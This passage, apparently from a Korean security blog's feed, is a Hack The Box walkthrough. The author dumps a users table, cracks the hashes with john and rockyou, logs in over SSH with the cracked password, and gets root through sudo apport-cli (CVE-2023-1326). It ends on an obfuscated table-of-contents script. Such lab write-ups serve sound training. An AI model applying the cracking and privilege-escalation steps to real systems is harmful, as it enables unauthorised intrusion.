&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1968&quot; data-origin-height=&quot;561&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c6TlQh/btsEQbVfSXj/dxdAAFxCzKEFCsNL6uI7Ok/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c6TlQh/btsEQbVfSXj/dxdAAFxCzKEFCsNL6uI7Ok/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c6TlQh/btsEQbVfSXj/dxdAAFxCzKEFCsNL6uI7Ok/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc6TlQh%2FbtsEQbVfSXj%2FdxdAAFxCzKEFCsNL6uI7Ok%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1968&quot; height=&quot;561&quot; data-origin-width=&quot;1968&quot; data-origin-height=&quot;561&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DB를 선택하고 tables 정보를 조회 해봄.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1707833259031&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;select * from sd4fg_users;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;3082&quot; data-origin-height=&quot;684&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b7powx/btsEP6mcysh/er2kpMDeVE6yBKcBeIZVPK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b7powx/btsEP6mcysh/er2kpMDeVE6yBKcBeIZVPK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b7powx/btsEP6mcysh/er2kpMDeVE6yBKcBeIZVPK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb7powx%2FbtsEP6mcysh%2Fer2kpMDeVE6yBKcBeIZVPK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;3082&quot; height=&quot;684&quot; data-origin-width=&quot;3082&quot; data-origin-height=&quot;684&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;'sd4fg_users' 테이블 정보의 column을 모두 조회하면 'usrname'과 ' hash된 'password'를 확인할 수 있음.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;2.5. Hash된 계정정보 크랙하기&lt;/h4&gt;
&lt;pre id=&quot;code_1707833291053&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;sudo mousepad hash.txt&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2000&quot; data-origin-height=&quot;199&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bz2vtF/btsEQN0YGNR/JBlJsFoDZ8zsmB5Z5FAp21/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bz2vtF/btsEQN0YGNR/JBlJsFoDZ8zsmB5Z5FAp21/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bz2vtF/btsEQN0YGNR/JBlJsFoDZ8zsmB5Z5FAp21/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbz2vtF%2FbtsEQN0YGNR%2FJBlJsFoDZ8zsmB5Z5FAp21%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2000&quot; height=&quot;199&quot; data-origin-width=&quot;2000&quot; data-origin-height=&quot;199&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;username:password를 'hash.txt' 텍스트 파일에 저장함.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1707833328901&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1993&quot; data-origin-height=&quot;357&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bg4Eoq/btsEGS31G1i/i0l7kNGWEATaXKVyThudAk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bg4Eoq/btsEGS31G1i/i0l7kNGWEATaXKVyThudAk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bg4Eoq/btsEGS31G1i/i0l7kNGWEATaXKVyThudAk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbg4Eoq%2FbtsEGS31G1i%2Fi0l7kNGWEATaXKVyThudAk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1993&quot; height=&quot;357&quot; data-origin-width=&quot;1993&quot; data-origin-height=&quot;357&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;john 도구를 사용해서 hash.txt 파일을 크랙할 수 있음. 그 결과 logan:tequiermucho 확인할 수 있음.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1707833364491&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;ssh logan@10.10.11.242&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1979&quot; data-origin-height=&quot;184&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bW0nap/btsEGSXibQ3/wFHxIEzKnXh3oALN9vH5vK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bW0nap/btsEGSXibQ3/wFHxIEzKnXh3oALN9vH5vK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bW0nap/btsEGSXibQ3/wFHxIEzKnXh3oALN9vH5vK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbW0nap%2FbtsEGSXibQ3%2FwFHxIEzKnXh3oALN9vH5vK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1979&quot; height=&quot;184&quot; data-origin-width=&quot;1979&quot; data-origin-height=&quot;184&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;크랙해서 얻은 username, password를 통해 ssh 연결을 시도함.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1707833607265&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;cat user.txt&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1986&quot; data-origin-height=&quot;701&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b99gYR/btsEGhJJ8eW/AZSHvwTY8QiDtp23NsCfFK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b99gYR/btsEGhJJ8eW/AZSHvwTY8QiDtp23NsCfFK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b99gYR/btsEGhJJ8eW/AZSHvwTY8QiDtp23NsCfFK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb99gYR%2FbtsEGhJJ8eW%2FAZSHvwTY8QiDtp23NsCfFK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1986&quot; height=&quot;701&quot; data-origin-width=&quot;1986&quot; data-origin-height=&quot;701&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;user.txt정보를 확인하여 flag를 얻을 수 있음.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;3. 권한 상승&lt;/h2&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3.1. 'CVE-2023-1326' 을 통한 권한 상승&amp;nbsp;&lt;/h4&gt;
&lt;pre id=&quot;code_1707833463730&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;sudo -l&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1911&quot; data-origin-height=&quot;634&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bqQYjc/btsEQbOzJft/djdGJ6C9JRxCQbubAggoR0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bqQYjc/btsEQbOzJft/djdGJ6C9JRxCQbubAggoR0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bqQYjc/btsEQbOzJft/djdGJ6C9JRxCQbubAggoR0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbqQYjc%2FbtsEQbOzJft%2FdjdGJ6C9JRxCQbubAggoR0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1911&quot; height=&quot;634&quot; data-origin-width=&quot;1911&quot; data-origin-height=&quot;634&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 사용자가 사용할 수 있는 sudo 권한을 확인하고 /usr/bin/apport-cli 대한 취약점이 있는지 구글링 해봄.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;figure id=&quot;og_1707835847608&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;(CVE-2023&amp;ndash;1326)[Privilege Escalation] apport-cli 2.26.0 | VK9 Security&quot; data-og-description=&quot;(CVE-2023&amp;ndash;1326)[Privilege Escalation] apport-cli 2.26.0 by Vry4n_ | Jan 14, 2024 | Privilege Escalation | A privilege escalation attack was found in apport-cli 2.26.0 and earlier which is similar to CVE-2023-26604. If a system is specially configured to &quot; data-og-host=&quot;vk9-sec.com&quot; data-og-source-url=&quot;https://vk9-sec.com/cve-2023-1326privilege-escalation-apport-cli-2-26-0/&quot; data-og-url=&quot;https://vk9-sec.com/cve-2023-1326privilege-escalation-apport-cli-2-26-0/&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/bPNykb/hyVjdvYBmp/8cSVpeaDKJ8B4z40mDseY0/img.png?width=649&amp;amp;height=408&amp;amp;face=0_0_649_408,https://scrap.kakaocdn.net/dn/yjdfE/hyVjkIDqh4/O1b7HPQKPKW7kWpnqjPWW1/img.png?width=609&amp;amp;height=283&amp;amp;face=0_0_609_283,https://scrap.kakaocdn.net/dn/bvTULY/hyVjftMsOb/1cXvyd9zcLGhn13GE9Kup0/img.png?width=496&amp;amp;height=310&amp;amp;face=0_0_496_310&quot;&gt;&lt;a href=&quot;https://vk9-sec.com/cve-2023-1326privilege-escalation-apport-cli-2-26-0/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://vk9-sec.com/cve-2023-1326privilege-escalation-apport-cli-2-26-0/&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/bPNykb/hyVjdvYBmp/8cSVpeaDKJ8B4z40mDseY0/img.png?width=649&amp;amp;height=408&amp;amp;face=0_0_649_408,https://scrap.kakaocdn.net/dn/yjdfE/hyVjkIDqh4/O1b7HPQKPKW7kWpnqjPWW1/img.png?width=609&amp;amp;height=283&amp;amp;face=0_0_609_283,https://scrap.kakaocdn.net/dn/bvTULY/hyVjftMsOb/1cXvyd9zcLGhn13GE9Kup0/img.png?width=496&amp;amp;height=310&amp;amp;face=0_0_496_310');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;(CVE-2023&amp;ndash;1326)[Privilege Escalation] apport-cli 2.26.0 | VK9 Security&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;(CVE-2023&amp;ndash;1326)[Privilege Escalation] apport-cli 2.26.0 by Vry4n_ | Jan 14, 2024 | Privilege Escalation | A privilege escalation attack was found in apport-cli 2.26.0 and earlier which is similar to CVE-2023-26604. If a system is specially configured to&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;vk9-sec.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 사이트에서 권한 상승할 수 있는 취약점을 찾을 수 있음.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1707833544572&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;sudo /usr/bin/apport-cli --file-bug
Please choose : 1
Please choose : 2
Please choose : V&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1296&quot; data-origin-height=&quot;1125&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/csb55E/btsEKHgqOJd/L34GeIyAb6iSHKv6rkK0GK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/csb55E/btsEKHgqOJd/L34GeIyAb6iSHKv6rkK0GK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/csb55E/btsEKHgqOJd/L34GeIyAb6iSHKv6rkK0GK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcsb55E%2FbtsEKHgqOJd%2FL34GeIyAb6iSHKv6rkK0GK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1296&quot; height=&quot;1125&quot; data-origin-width=&quot;1296&quot; data-origin-height=&quot;1125&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1616&quot; data-origin-height=&quot;753&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cxbQT7/btsELpUjmij/7EdneVWzY4uUYMZFxzrtF1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cxbQT7/btsELpUjmij/7EdneVWzY4uUYMZFxzrtF1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cxbQT7/btsELpUjmij/7EdneVWzY4uUYMZFxzrtF1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcxbQT7%2FbtsELpUjmij%2F7EdneVWzY4uUYMZFxzrtF1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1616&quot; height=&quot;753&quot; data-origin-width=&quot;1616&quot; data-origin-height=&quot;753&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1707833590143&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;find / -name &quot;root.txt&quot; 2&amp;gt;/dev/null&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1988&quot; data-origin-height=&quot;697&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Si1Ie/btsEQahPyac/wViPDUhn873ExQCWkQerN0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Si1Ie/btsEQahPyac/wViPDUhn873ExQCWkQerN0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Si1Ie/btsEQahPyac/wViPDUhn873ExQCWkQerN0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FSi1Ie%2FbtsEQahPyac%2FwViPDUhn873ExQCWkQerN0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1988&quot; height=&quot;697&quot; data-origin-width=&quot;1988&quot; data-origin-height=&quot;697&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;root 권한으로 상승되고, root.txt파일에서 flag 정보를 확인할 수 있음.&lt;/p&gt;</description>
      <category>문제풀이/Hack The Box</category>
      <author>Kwon Oh! JUN</author>
      <guid isPermaLink="true">https://securitystudy.tistory.com/162</guid>
      <comments>https://securitystudy.tistory.com/162#entry162comment</comments>
      <pubDate>Wed, 14 Feb 2024 00:06:44 +0900</pubDate>
    </item>
    <item>
      <title>[Hack The Box] cozyhosting</title>
      <link>https://securitystudy.tistory.com/161</link>
      <description>&lt;script&gt;
const _0x5eef=['classList','92935nhtnYq','setAttribute','push','innerHTML','getElementById','toLowerCase','tt_adsense_top','another_category','style','//p[contains(text(),\x27[목차여기]\x27)]','1954669aacfHB','div','appendChild','toc-ym','title','forEach','DOMContentLoaded','call','addEventListener','length','insertBefore','firstElementChild','log','27309qNoTHN','62SuwPRc','parentNode','querySelector','revenue_unit_wrap','tagName','23736mMyuUa','singleNodeValue','trim','17723tUfPMr','textContent','1STKGDu','getAttribute','contains','nextSibling','791846eKKEom','createElement','outerText','FIRST_ORDERED_NODE_TYPE','querySelectorAll','72wJWnLP','hasAttribute','669103LLOFBD','toc'];function _0x330c(_0x5d40d0,_0x4afdad){_0x5d40d0=_0x5d40d0-0xec;let _0x5eef71=_0x5eef[_0x5d40d0];return _0x5eef71;}const _0x2078d2=_0x330c;(function(_0xbea334,_0x392453){const _0x2c3076=_0x330c;while(!![]){try{const _0x5a087d=-parseInt(_0x2c3076(0x117))+parseInt(_0x2c3076(0xf7))+parseInt(_0x2c3076(0xfa))+-parseInt(_0x2c3076(0x11a))*-parseInt(_0x2c3076(0xf5))+parseInt(_0x2c3076(0x112))*parseInt(_0x2c3076(0x111))+parseInt(_0x2c3076(0xec))*-parseInt(_0x2c3076(0xf0))+-parseInt(_0x2c3076(0x104));if(_0x5a087d===_0x392453)break;else _0xbea334['push'](_0xbea334['shift']());}catch(_0x47ff63){_0xbea334['push'](_0xbea334['shift']());}}}(_0x5eef,0xea9e9),document[_0x2078d2(0x10c)](_0x2078d2(0x10a),function(){const _0x7eb51e=_0x2078d2;try{const _0x591681=document[_0x7eb51e(0x114)]('.contents_style'),_0x1762f9=document[_0x7eb51e(0xfe)](_0x7eb51e(0x107));if(_0x591681&amp;&amp;!_0x1762f9)htmlTableOfContents();else return![];}catch(_0x250abc){console[_0x7eb51e(0x110)]('');}}));function htmlTableOfContents(_0x4f1c99){const _0x388803=_0x2078d2;var _0x4f1c99=_0x4f1c99||document;const _0x44fb35=document[_0x388803(0xf1)]('div');_0x44fb35[_0x388803(0xfb)]('id',_0x388803(0x107));const _0x2117e2=document['querySelector']('.contents_style');var _0x35e549=_0x388803(0x103),_0x552a33=document['evaluate'](_0x35e549,document,null,XPathResult[_0x388803(0xf3)],null)[_0x388803(0x118)];let _0x407aa0;_0x552a33?(_0x407aa0=_0x552a33,_0x407aa0[_0x388803(0x11b)]='',_0x407aa0[_0x388803(0x106)](_0x44fb35)):(_0x407aa0=_0x2117e2[_0x388803(0x10f)],_0x407aa0['classList'][_0x388803(0xee)](_0x388803(0x100))||_0x407aa0[_0x388803(0xf9)]['contains'](_0x388803(0x115))?_0x2117e2['insertBefore'](_0x44fb35,_0x407aa0[_0x388803(0xef)]):_0x407aa0[_0x388803(0x113)][_0x388803(0x10e)](_0x44fb35,_0x407aa0));const _0x3e06b5=document['getElementById'](_0x388803(0x107)),_0x5ee2f2=[]['slice'][_0x388803(0x10b)](_0x2117e2[_0x388803(0xf4)]('h1,\x20h2,\x20h3,\x20h4,\x20h5,\x20h6')),_0x454032=[];for(i=0x0;i&lt;_0x5ee2f2[_0x388803(0x10d)];i++){if(_0x5ee2f2[i][_0x388803(0xf2)][_0x388803(0x119)]()==='')continue;else{if(_0x5ee2f2[i][_0x388803(0xf9)][_0x388803(0xee)](_0x388803(0x108)))continue;else{if(_0x5ee2f2[i][_0x388803(0x113)]['classList'][_0x388803(0xee)](_0x388803(0x101)))continue;else _0x454032[_0x388803(0xfc)](_0x5ee2f2[i]);}}}_0x454032[_0x388803(0x109)](function(_0x5d97e0,_0x2112a5){const _0x4b3465=_0x388803;var _0x94aa2e=_0x4b3465(0xf8)+_0x2112a5;if(_0x5d97e0[_0x4b3465(0xf6)]('id'))_0x94aa2e=_0x5d97e0[_0x4b3465(0xed)]('id');else _0x5d97e0[_0x4b3465(0xfb)]('id',_0x94aa2e);var _0x34278b=_0x4f1c99[_0x4b3465(0xf1)]('a');_0x34278b[_0x4b3465(0xfb)]('href','#'+_0x94aa2e),_0x34278b['textContent']='•\x20'+_0x5d97e0[_0x4b3465(0x11b)];var _0x118edf=_0x4f1c99[_0x4b3465(0xf1)](_0x4b3465(0x105));_0x118edf[_0x4b3465(0xfb)]('class',_0x5d97e0[_0x4b3465(0x116)][_0x4b3465(0xff)]()),_0x118edf[_0x4b3465(0x106)](_0x34278b),_0x3e06b5[_0x4b3465(0x106)](_0x118edf);});const _0xd72dc='\x0a\x20\x20\x20\x20#toc-ym\x20div.h1\x20{\x20margin-left:\x200em\x20}\x0a\x20\x20\x20\x20#toc-ym\x20div.h2\x20{\x20margin-left:\x200.5em\x20}\x0a\x20\x20\x20\x20#toc-ym\x20div.h3\x20{\x20margin-left:\x201em\x20}\x0a\x20\x20\x20\x20#toc-ym\x20div.h4\x20{\x20margin-left:\x201.5em\x20}\x0a\x20\x20\x20\x20#toc-ym\x20div.h5\x20{\x20margin-left:\x202em\x20}\x0a\x20\x20\x20\x20#toc-ym\x20div.h6\x20{\x20margin-left:\x202.5em\x20}\x0a\x20\x20\x20\x20\x0a\x20\x20\x20\x20#toc-ym\x20{\x0a\x20\x20\x20\x20\x20\x20margin:\x2030px\x200px\x2030px\x200px;\x0a\x20\x20\x20\x20\x20\x20padding:\x2020px\x2020px\x2010px\x2015px;\x0a\x20\x20\x20\x20\x20\x20border:\x201px\x20solid\x20#dadada;\x0a\x20\x20\x20\x20\x20\x20background-color:\x20#ffffff;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20#toc-ym::before\x20{\x0a\x20\x20\x20\x20\x20\x20content:\x20\x22목\x20\x20차\x22;\x0a\x20\x20\x20\x20\x20\x20display:\x20block;\x0a\x20\x20\x20\x20\x20\x20width:\x20120px;\x0a\x20\x20\x20\x20\x20\x20background-color:\x20rgb(255,\x20255,\x20255);\x0a\x20\x20\x20\x20\x20\x20text-align:\x20center;\x0a\x20\x20\x20\x20\x20\x20font-size:\x2018px;\x0a\x20\x20\x20\x20\x20\x20font-weight:\x20bold;\x0a\x20\x20\x20\x20\x20\x20margin:\x20-40px\x20auto\x200px;\x0a\x20\x20\x20\x20\x20\x20padding:\x205px\x200px;\x0a\x20\x20\x20\x20\x20\x20border-width:\x201px;\x0a\x20\x20\x20\x20\x20\x20border-style:\x20solid;\x0a\x20\x20\x20\x20\x20\x20border-color:\x20rgb(218,\x20218,\x20218);\x0a\x20\x20\x20\x20\x20\x20border-image:\x20initial;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20#toc-ym\x20div{\x0a\x20\x20\x20\x20\x20\x20margin:\x205px\x200px;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20#toc-ym\x20div:first-child{\x0a\x20\x20\x20\x20\x20\x20margin-top:\x2015px;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20#toc-ym\x20div:last-child{\x0a\x20\x20\x20\x20\x20\x20margin-bottom:\x2015px;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20#toc-ym\x20div\x20a\x20{\x0a\x20\x20\x20\x20\x20\x20text-decoration:\x20none;\x0a\x20\x20\x20\x20\x20\x20color:\x20#337ab7;\x0a\x20\x20\x20\x20\x20\x20transition:\x20all\x20ease\x200.2s;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20#toc-ym\x20div\x20a:hover\x20{\x0a\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20color:\x20#333333;\x0a\x20\x20\x20\x20\x20\x20background-color:\x20#ecc7ff;\x0a\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20/*\x0a\x20\x20\x20\x20.contents_style\x20h3{\x0a\x20\x20\x20\x20\x20\x20margin-bottom:7px;\x0a\x20\x20\x20\x20\x20\x20padding:\x2010px\x2015px;\x0a\x20\x20\x20\x20\x20\x20border-left:\x205px\x20solid\x20#757575;\x0a\x20\x20\x20\x20\x20\x20background-color:\x20#e5e5e5;\x0a\x20\x20\x20\x20\x20\x20font-weight:\x20500;\x0a\x20\x20\x20\x20\x20\x20color:\x20#000000\x20!important;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20*/\x0a\x20\x20\x20\x20',_0x3ed036=document[_0x388803(0xf1)](_0x388803(0x102));_0x3ed03